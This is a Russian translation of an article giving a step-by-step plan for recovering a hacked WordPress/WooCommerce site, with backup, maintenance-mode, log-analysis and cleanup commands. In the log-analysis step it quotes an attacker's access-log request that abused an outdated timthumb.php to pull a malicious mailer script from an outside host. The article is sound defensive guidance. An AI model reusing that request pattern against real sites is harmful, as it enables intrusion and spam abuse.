А вы готовы к взлому?

Danger: malware ahead!” и «Этот сайт может повредить Ваш компьютер» – две фразы, которые я меньше всего хочу услышать о моём сайте или сайтах моих клиентов.

Если ваш сайт когда-либо блокировался поисковиками или антивирусами в связи с вредоносным программным обеспечением, то вы наверняка помните растерянность и отчаяние первых минут, а также последующую упорную борьбу за скорейшее возвращение сайта в строй.

Написано множество отличных статей о том, как предотвратить взлом и заражение сайта. Но, к сожалению, полностью исключить вероятность взлома невозможно.

Поймите меня правильно: я ничего не имею против всевозможных профилактических мер и аудитов безопасности, но своевременная и правильная реакция на уже состоявшийся взлом не менее важна, чем его предотвращение.

В этой статье мы приведём простой пошаговый план восстановления WordPress-сайта, который вы сможете задействовать в печальных обстоятельствах. Выполнение этого плана мы продемонстрируем на примере настоящего взлома и с использованием относящихся к реальной ситуации методов анализа и восстановления данных.

Содержание

Оцените ваши активы

Прежде всего, нужно хорошо представлять, какие части вашего сайта наиболее ценны, а какие – критичны для работы. На языке деловых людей это называется «оценкой активов». Конечно, вы можете сказать, что работа сайта как таковая является вашим основным активом, но такая оценка слишком общая.

Лучше взгляните на ваш сайт как на набор компонентов, каждый из которых выполняет определённую функцию. Некоторые функции наверняка будут важнее остальных. Сохранность этих компонентов и будет определять ваши действия при восстановлении сайта.

Представим, что вы поддерживаете веб-магазин на WooCommerce с кастомной темой и набором плагинов, включающим в себя форму обратной связи, которая не очень популярна среди посетителей, и галереей, в которую вы изредка загружаете фотографии. Понятно, что основную прибыль на вашем сайте генерирует именно корзина WooCommerce.

Теперь представим, что плагин WooCommerce оказался уязвимым, и через него произошло внедрение на сайт трояна. Вы отправили запрос в техподдержку хостера, и техподдержка ответила вам, что может решить проблему восстановлением всего сайта из вчерашней резервной копии с последующим обновлением WooCommerce.

Это означает, что все данные за последние 24 часа будут потеряны. Разумеется, вы не можете потерять данные покупателей за целые сутки, поэтому вы наверняка откажетесь от восстановления из резервной копии.

С другой стороны, если вы знаете, что троян поместил все свои вредоносные ссылки не в кастомном каталоге товаров, а в стандартной фотогалерее, которую вы последний раз обновляли месяц назад, то вы предпочтёте восстановить из бэкапа именно галерею – или даже полностью удалить её с сайта, если это обеспечит наиболее быстрое возвращение к безопасной работе.

Определитесь с помощниками

Когда цели восстановительных мероприятий стали ясны, необходимо собрать контакты тех, кто поможет вам в восстановлении сайта.

Разумеется, в нашей статье мы дополним наш план достаточным количеством технических деталей для опытных веб-мастеров, но если вы недостаточно понимаете эти детали – не беда, вы всё еще можете следовать нашему плану в том случае, если знаете, к кому обратиться за помощью, у кого искать поддержки и совета:

  • техподдержка вашего хостинга.

Многие специализированные WordPress-хостинги оказывают помощь в случае возникновения у клиентов проблем, связанных с безопасностью. В ряде случаев представители хостера будут первыми, кто сообщит вам о проблемах на вашем сайте и предоставит более-менее подробную диагностику взлома.

Также хостинг-провайдер может помочь с резервным копированием сайта, анализом логов, автоматическим обновлением самого WordPress и его популярных плагинов, регулярной проверкой безопасности, очисткой вредоносного кода.

Заранее узнайте, какие из этих функций ваш хостер осуществляет бесплатно или за дополнительную плату, чтобы не терять времени в случае возникновения проблем.

  • разработчики ваших тем и плагинов.

Если вы используете сторонние темы или плагины, убедитесь, что их разработчики способны предоставить поддержку в случае, если их продукт окажется уязвим. Выбирайте популярные и активно поддерживаемые дополнения, потому что их авторы всегда готовы закрыть уязвимость и выдать чёткие инструкции для пользователей по применению обновлений безопасности.

KISS-план аварийного восстановления

Как уже говорилось, ваш сайт никогда не будет на 100% защищён от взлома. Приготовимся к худшему и составим план, согласно которому восстановление сайта можно будет произвести как можно быстрее.

Сложные планы никогда не работают в чрезвычайных ситуациях, поэтому наш план должен быть как можно более простым (KISS – общепринятый идеологический принцип-сокращение, означающий: “Keep It Short and Simple” – «Будь прост и краток») и содержать небольшое число этапов.

Далее я приведу мой реальный план, который помог мне вернуть в строй сайт во время эпидемии взломов в начале августа 2011 года. Эта эпидемия эксплуатировала уязвимость в устаревшей версии скрипта TimThumb и охватывала на тот момент более 39 000 000 сайтов, использовавших одну из 230 уязвимых WordPress-тем или один из 30 уязвимых плагинов.

Будем подразумевать, что сайт основывается на WooCommerce и располагается на платформе, состоящей из таких популярных компонентов, как:

  • операционная система CentOS Linux 6.5;
  • веб-сервер Apache;
  • PHP 5.3.x;
  • сервер баз данных MySQL;
  • панель управления сервером cPanel/WHM.

1. Без паники!

Среднестатистический пользователь WordPress узнаёт о взломе своего сайта, когда в очередной раз проверяет позицию в Google и внезапно обнаруживает, что главная страница искажена либо весь сайт недоступен.

В гораздо более редких случаях хостер сам связывается с пользователем и сообщает ему, что его сайт распространял спам или вирусы и был отключён. В любом случае, необходимо сохранять спокойствие и рабочий настрой, какой бы ужасающей ни казалась ситуация на первый взгляд.

2. Сохраните содержимое взломанного сайта и логи

Этот шаг обязателен. Не пропускайте его ни при каких обстоятельствах. Вам необходимо держать вредоносный код и журнал доступа под рукой для того, чтобы установить способ заражения.

Самый быстрый способ создания резервной копии – при помощи ssh и следующих команд (параметры, которые вы должны знать, выделены курсивом):

$ mysqldump -u<i>Имя_пользователя_mysq</i>l -p<i>Пароль_mysql База_данных</i> > <i>Каталог_сайта/База_данных.sql</i>
$ tar zcvf backup.tgz Каталог_сайта

В нашем случае на сайте установлена панель управления cPanel, которая включает в себя функции резервного копирования. Так что у нас есть выбор из двух способов.

Сделать бэкап вручную

Вначале сохраним базу данных сайта:

$ mysqldump -uUSER -pPASSWORD DB_NAME > ~/DB_NAME.sql

Затем сохраним все файлы сайта вместе с резервной копией базы данных (подразумевается, что корень сайта расположен в домашнем каталоге пользователя, в подкаталоге public_html):

$ tar zcvf backup_hacked.tar.gz ~/DB_NAME.sql ~/public_html

В вашем пользовательском каталоге будет создан файл backup_hacked.tar.gz. Если вы имеете доступ к серверу, сохраните также следующие файлы:

/var/log/messages

– здесь записываются сообщения популярного FTP-сервера PureFTPd

/usr/local/apache/domlogs/ВАШ_ДОМЕН.RU

– это лог веб-сервера Apache

/var/log/exim_mainlog

– это лог почтового сервера EXIM

/usr/local/cpanel/logs/access_log

– это сообщения встроенного в cPanel менеджера файлов

/var/log/secure

– это лог SSH-соединений

Сделать бэкап при помощи cPanel

Эта функция доступна при клике по иконке “Create Backup”. Полная резервная копия сайта, сделанная таким образом, будет содержать, в том числе и логи веб-сервера. Остальные логи вы можете скопировать вручную.

3. Закройте сайт на карантин

С момента выполнения резервного копирования и до полного восстановления ваш сайт должен находиться в режиме обслуживания (реконструкции), чтобы предотвратить действие вредоносного кода. Возвращайте сайт в работу только тогда, когда вы полностью уверены в его безопасности.

Правильно перевести сайт в режим обслуживания не так просто, но от этого шага зависит дальнейшее положение сайта в рейтинге поисковиков.

Поисковые роботы постоянно проверяют сайты на изменения. При этом основной информацией, на которой основываются индексы и рейтинг, являются:

  • код статуса веб-сервера;
  • содержимое страницы, отданное веб-сервером.

Коды статуса, согласно протоколу HTTP, формируют метаинформацию о передаваемом содержимом. Код 200 означает, что всё в порядке, HTTP-клиенту отданы именно те данные, которые им запрашивались. Код 404 – содержимое не было найдено сервером.

К кодам перенаправления запроса относятся 301 (постоянное перенаправление), а также 302 и 307 (временное перенаправление). В режиме обслуживания сайт должен возвращать код 503, который говорит поисковым роботам о том, что содержимое сайта временно недоступно.

Вы также можете использовать этот код в сочетании с HTTP-заголовком retry-after, который задаёт для поисковых роботов тот период времени, спустя который они смогут вернуться к индексированию вашего сайта.

Совет: заранее создайте простую и красивую страницу для использования в качестве заглушки на время карантина. Когда сайт будет взломан, времени на это уже не будет. Для большей надёжности вы можете разместить эту страницу на каком-нибудь другом вашем сервере.

Перевод WordPress-сайта в режим обслуживания может быть осуществлён двумя способами.

Разрешение режима обслуживания WordPress

WordPress имеет встроенный режим обслуживания. Чтобы включить его, создайте файл .maintenance в корневом каталоге вашего сервера. Добавьте в этот файл следующий PHP-код:

<? $upgrading = time(); ?>

WordPress будет показывать посетителям страницу-заглушку, пока вы не удалите файл .maintenance.

Имейте в виду, что этот режим реализуется средствами WordPress, поэтому если хакер установил на вашем сайте теневой файловый менеджер или другой бэкдор, он всё ещё будет иметь доступ в вашу систему.

Перенаправление запросов на произвольную страницу при помощи Apache mod_rewrite

Это решение лучше, чем предыдущее, поскольку полностью изолирует вашу инсталляцию WordPress и все другие PHP-скрипты от внешнего мира.

Чтобы воспользоваться этим способом закрытия сайта, создайте для начала свою страницу-заглушку maintenance.html и разместите её в корневом каталоге вашего сайта. Вы можете использовать примерно такой код:

<title>Down For Maintenance</title>
  <style type="text/css" media="screen">
 	h1 { font-size: 50px; }
 	body { text-align:center; font: 20px Helvetica, sans-serif; color: #333; }
  </style>
  <h1>Down For Maintenance</h1>
  <p>Sorry for the inconvenience. We’re performing maintenance at the moment.</p>
  <p>We’ll be back online shortly!</p>

Создайте также пустой файл maintenance.enable в корне вашего сайта. Наконец, добавьте следующие директивы в файл .htaccess:

RewriteEngine On
RewriteCond %{REMOTE_ADDR} !^123.56.89.12
RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f
RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f
RewriteCond %{SCRIPT_FILENAME} !maintenance.html
RewriteRule ^.*$ /maintenance.html [R=503,L]
ErrorDocument 503 /maintenance.html
Header Set Retry-After "14400"
Header Set Cache-Control "max-age=0, no-store"

Давайте разберём подробнее, что означает каждая директива:

RewriteEngine On

– включает RewriteEngine AKA mod_rewrite

RewriteCond %{REMOTE_ADDR} !^123.56.89.12

– исключает из обработки ваш собственный IP-адрес. Это делать не обязательно, но это сильно упростит дальнейшие восстановительные работы

RewriteCond %{DOCUMENT_ROOT}/maintenance.html -f

– убеждаемся, что страница-заглушка существует

RewriteCond %{DOCUMENT_ROOT}/maintenance.enable -f

– а этот пустой файл можно использовать для включения и выключения перенаправления

•	RewriteCond %{SCRIPT_FILENAME} !maintenance.html

– не используем перенаправление при непосредственном обращении к странице-заглушке

RewriteRule ^.*$ /maintenance.html [R=503,L] ErrorDocument 503 /maintenance.html

– эти директивы и осуществляют перенаправление

Header Set Retry-After "14400"

– просит поисковый бот зайти ещё раз через 14400 секунд (4 часа)

Header Set Cache-Control "max-age=0, no-store"

– предотвращает сохранение этой страницы в кэше браузера посетителя

Мы создали копию сайта для исследовательских целей и поместили сайт на карантин. Теперь самое время сменить пароли от учётных записей cPanel, FTP, почты и администратора WordPress. На этом подготовительные мероприятия заканчиваются.

4. Восстановление сайта из резервной копии или удаление вредоносного кода

Есть два способа очистить взломанный веб-сайт. Самый простой и быстрый способ – удалить всё и восстановить сайт из бэкапа. Но у этого способа есть два серьёзных недостатка: вы теряете данные за какой-то период времени, и у вас нет гарантии, что в сайт на момент создания резервной копии ещё не был внедрён бэкдор.

Если на вашем сайте нет ценных регулярно обновляющихся данных, то вы легко можете воспользоваться этим способом, предварительно проверив резервную копию каким-нибудь антивирусом.

Также можно попробовать сравнить заведомо заражённые файлы с теми же файлами из резервной копии. Если файлы из резервной копии отличаются от заражённых, то они, скорее всего, чисты. Разумеется, ни ручное сравнение, ни антивирус не предоставляют стопроцентной гарантии чистоты сайта.

Некоторые методы взлома сопряжены с изменением информации в базе данных, а не в файлах. В этом случае вы можете вручную сравнить резервную копию базы данных с заражённой при помощи PHPMyAdmin или другого MySQL-клиента.

Неудобство этого метода состоит в том, что вам придётся просмотреть и сравнить каждую таблицу по отдельности. Существует коммерческая программа, позволяющая сравнивать таблицы и базы данных – MySQL Comparison Bundle.

Второй способ очистить веб-сайт – найти затронутые вредоносной программой файлы и таблицы базы данных и удалить из них вредоносный код. В зависимости от способа взлома, найти нужные фрагменты может быть как довольно легко, так и чрезвычайно трудно.

В любом случае, вам будет мало текстового редактора. Умение редактировать текст по шаблону утилитами, написанными на Bash или Perl, будет весьма полезным, если взлом затронул много файлов.

Если вы не чувствуете себя уверенно, когда дело доходит до файловой системы сайта и командной строки, обратитесь к тому, для кого это – профессия. Многие WordPress-хостеры, а также компании и частные специалисты, занимающиеся компьютерной безопасностью, предоставляют услуги по восстановлению сайтов после взлома за отдельную плату.

Если такой вариант вам не подходит, вы можете обратиться к сервисам, осуществляющим автоматизированную проверку кода на вредоносный код.

Однако полностью полагаться на такие сервисы не стоит: сетевые злоумышленники не стоят на месте, и поэтому даже самое современное автоматическое тестирование не способно определить и ликвидировать 100% существующих угроз. Комбинируйте автоматизированное тестирование с самостоятельным обзором файлов и таблиц базы данных.

Наш гипотетический веб-магазин на базе WooCommerce наверняка включает в себя много ценной динамической информации (например, данные о заказах и оплате), поэтому полное восстановление информации из резервной копии в нашем случае не подойдет.

Остаётся только вариант с удалением нежелательного кода с сайта. А чтобы сделать это, мы должны узнать, где этот вредоносный код находится.

Хакер, взломавший наш сайт, рассылал спам при помощи нашей учётной записи на почтовом сервере хостера. Поэтому, прежде всего мы должны изучить какое-либо отправленное им письмо, чтобы понять, как он это делает. Если у вас нет логов почтового сервера, запросите их у хостера. Нам понадобятся заголовки писем, сохранённые в логах.

Для начала попробуем найти в логах почтового сервера имя пользователя cPaneltuser:

$ grep tuser /var/log/exim_mainlog

Сервер покажет письма, которые были сгенерированы при помощи PHP-кода:

2014-04-15 12:43:09 [19963] 1Wa7O1-0005Bz-Ex H=localhost (mailserver.com) [127.0.0.1]:43395 I=[127.0.0.1]:25 Warning: Test Spam Mail  : This message was sent via script. The details are as: SCRIPT_FILENAME=/home/tuser/public_html/wp-content/themes/premiumtheme/cache/wp-mails.php

Как видите, запись в логе содержит много интересных деталей:

SCRIPT_FILENAME

– это имя файла PHP-скрипта, который отправил письмо

REMOTE_ADDR

– это IP-адрес, с которого было отправлено письмо

Если мы поищем информацию о файле wp-mails.php, мы узнаем, что этот файл не является частью ядра WordPress. К тому же мы можем заблокировать IP-адрес, с которого была инициирована отправка сообщения. Лучшим способом заблокировать этот адрес будет добавление следующей строчки в файл .htaccess:

deny from 189.100.29.167

Файл wp-mails.php явно не имеет отношения к работе сайта, поэтому удалим его. Определить, каким образом он был загружен на наш сайт, мы сможем позже. А пока определим, какие файлы были заражены.

Это может оказаться непростым делом. Попробуем сравнить файлы, содержащиеся в чистой резервной копии сайта, с его текущим содержимым. Для этого воспользуемся командой diff:

$ diff -r /путь/к/чистому/сайту /путь/к/заражённому/сайту

Эта команда покажет все различия между двумя каталогами, включая содержимое файлов, новые и отсутствующие файлы и подкаталоги. Наша цель – быстро определить возможные места внедрения чужого кода. Вот пример различий в содержимом заражённого и чистого файла index.php:


Как видите, хакер добавил вредоносный код в первую строчку файла index.php. Обычно заражению подвергаются многие файлы, и вредоносный код может добавляться в различные места существующих файлов, что делает возвращение сайта в его первозданный вид непростой задачей.

В нашем примере чистый файл index.php взят из дефолтной инсталляции WordPress:


Хакер изменил код в строке 14:


Далее хакер добавил вредоносный код перед определением WP_USE_THEMES. Используя команду sed, мы удалили этот код таким образом:


Команда sed использует для поиска и замены текста регулярные выражения. Вы можете комбинировать sed и find, чтобы находить заражённые фрагменты кода и удалять их одной строкой. Будьте предельно внимательны при составлении регулярного выражения, чтобы под его действие не попал легитимный код.

5. Найдите свидетельства атаки в логах

Очистить сайт от вредоносного кода – это ещё полдела. Не менее важно определить, как сайт оказался заражен. Обычно информация о проникновении фиксируется в логах веб-сервера, FTP-сервера, SSH-сервера и панели управления. Различные способы проникновения оставляют разные следы, поэтому имеет смысл ознакомиться с форматом всех этих логов.

Некоторые атаки долго не проявляют себя, поэтому необходимо проверять логи за месяц-другой, а то и за полгода. Разумеется, логи занимают место на сервере, но в целях безопасности принято хранить все логи как минимум в течение трёх месяцев.

Хостеры не всегда обеспечивают такой длительный период ротации, поэтому разумным решением будет организовать хранение логов у себя.

Хотелось бы заранее предупредить, что чтение логов – дело длительное и кропотливое, поэтому при наличии такой возможности возложите эту заботу на плечи сотрудников техподдержки или профессиональных аудиторов безопасности.

Итак, наш сайт чист, и теперь нам необходимо выяснить, каким образом на наш сервер был загружен файл wp-mails.php. Первым делом поищем во всех логах имя этого файла при помощи команды grep. В конце концов, поиск обнаружил следующее:

189.100.29.167 - [12/Apr/2014:06:53:41 +1000] “GET /wp-content/themes/premiumtheme/timthumb.php?src=http://www.blogger.com.exl.ro/max/wp-mails.php HTTP/1.1″ 301 – “-” “Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]”

Анализ этой записи из лога доступа веб-сервера обеспечил нас следующей информацией:

189.100.29.167

– IP-адрес, с которого было зарегистрировано обращение к странице нашего сайта timthumb.php;

premiumtheme/timthumb.php

– файл timthumb.php – часть нашей WordPress-темы;

http://www.blogger.com.exl.ro/max/wp-mails.php

– адрес, с которого был загружен вредоносный скрипт.

Лог недвусмысленно показывает нам, что вредоносный код был загружен на наш сайт через скрипт timphumb.php, который является составной частью нашей Premium-темы. Заглянув в код timthumb.php, мы можем признать в нём довольно устаревшую реализацию популярного проекта TimThumb.

6. Закройте уязвимости

Найдя уязвимость, мы должны соответствующим образом исправить её. Например, если мы найдём уязвимый плагин или тему, мы должны обновить их до безопасной версии или удалить, чтобы злоумышленник не смог снова воспользоваться той же уязвимостью. Мы же не хотим оказаться взломанными через несколько часов или дней после того, как навели на сайте порядок?

Самым простым решением было бы обновление скрипта timthumb.php до безопасной версии. К сожалению, это вряд ли сработает. Часто авторы плагинов и тем значительно модифицируют используемые библиотеки для своих целей. Кроме того, функционирование дополнения может зависеть от особенностей конкретной версии библиотеки.

Другим решением будет запрос обновления темы у её автора. Если тема достаточно популярна, а её автор заслуживает доверия, то он наверняка уже столкнулся с найденной нами проблемой безопасности и работает над устраняющим эту проблему обновлением.

В качестве временной меры мы можем удалить файл timthumb.php с сайта или запретить доступ к нему при помощи .htaccess. В крайнем случае, разумно было бы удалить тему с сайта и вернуть её тогда, когда выйдет новая версия.

7. Верните веб-сайт в строй и проинформируйте заинтересованных лиц

Прежде чем вывести сайт из карантина, поменяйте пароли ещё раз. Это даст гарантию того, что злоумышленник не успел слить изменённые пароли, пока мы чинили сайт.

В нашем примере «вывод из карантина» сводится к удалению файла maintenance.enable из корня сайта.

В качестве успокоительной меры создайте задание для cron, которое проинформирует вас об изменённых или добавленных за некоторый период времени файлах. Например, этот скрипт:

find ~/public_html/ -mmin -60

выведет список изменений в файловой структуре вашего сайта за последний час.

Последнее, что нам необходимо предпринять – проанализировать происшествие ещё раз и решить, оповещать ли пользователей сайта о возможной утечке данных. Наша уязвимость коснулась только файловой системы; данные в базе данных, скорее всего, остались нетронутыми.

В других случаях мы должны были бы сообщить пользователям об инциденте и попросить их изменить пароли, используемые на нашем сайте или настройки безопасности учётных записей.

Заключение

Сетевая безопасность – непростая тема. Анализ логов занимает длительное время, и не опытному веб-мастеру будет нелегко найти нужную строчку в мегабайтах записей. Это же можно сказать и об анализе программного кода, управлении базой данных и многих других задачах, сопряжённых с безопасностью сайта.

Если вы не являетесь опытным веб-разработчиком или системным администратором, вам будет непросто разобраться во всех технических деталях, чтобы вернуть себе управление взломанным сайтом. Но вы и не обязаны разбираться во всём самостоятельно!

Главное, что от вас требуется – представлять масштаб проблемы и быть готовым отреагировать на её возникновение. Если вы запомните следующие ключевые моменты и сможете воспроизвести их на практике, вы решите любые проблемы, связанные с безопасностью вашего WordPress-сайта:

  • знайте, какими функциями вашего сайта можно пожертвовать, а какие являются критичными для вашего бизнеса;
  • безопасность состоит в равной степени из технических и организационных мер. Изучите возможные проблемы с безопасностью в WordPress и выработайте политику их предотвращения и обнаружения. Затем будьте готовы работать совместно с другими субъектами безопасности (хостинг-провайдером, специалистами по информационной безопасности и т.д.), чтобы разрешить возникшие проблемы за максимально короткий срок;
  • безопасность – не цель, а процесс. Если ваш сайт безопасен сейчас, не факт, что он останется таковым в обозримом будущем. Можно относиться к безопасности как к постоянной войне, в которой перевес принадлежит попеременно той или иной стороне. Именно поэтому вам нужен план восстановления на тот случай, если одно из сражений будет вами проиграно.

Данная публикация представляет собой перевод статьи «Are You Prepared Against A Hack?» , подготовленной дружной командой проекта Интернет-технологии.ру